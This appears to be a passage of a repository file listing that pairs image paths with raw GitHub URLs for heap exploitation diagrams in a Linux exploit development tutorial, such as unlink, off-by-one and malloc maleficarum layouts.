--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/malloc-maleficarum-heap-layout-after-attack.png
--------------------------------------------------------------------------------
/media/pic/heap/malloc-maleficarum-heap-layout-before-attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/malloc-maleficarum-heap-layout-before-attack.png
--------------------------------------------------------------------------------
/media/pic/heap/multiple_heaps.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/multiple_heaps.png
--------------------------------------------------------------------------------
/media/pic/heap/off-by-one-heap-layout.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/off-by-one-heap-layout.png
--------------------------------------------------------------------------------
/media/pic/heap/over-write-tls-dtor-list.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/over-write-tls-dtor-list.png
--------------------------------------------------------------------------------
/media/pic/heap/overflow_unlink.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/overflow_unlink.png
--------------------------------------------------------------------------------
/media/pic/heap/thread_arena.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/thread_arena.png
--------------------------------------------------------------------------------
/media/pic/heap/unlink.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/unlink.png
--------------------------------------------------------------------------------
/media/pic/heap/unsorted_small_large.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hardenedlinux/linux-exploit-development-tutorial/1ccc41f309a9b461bd7edfc112f45fafe95f16f2/media/pic/heap/unsorted_small_large.png
--------------------------------------------------------------------------------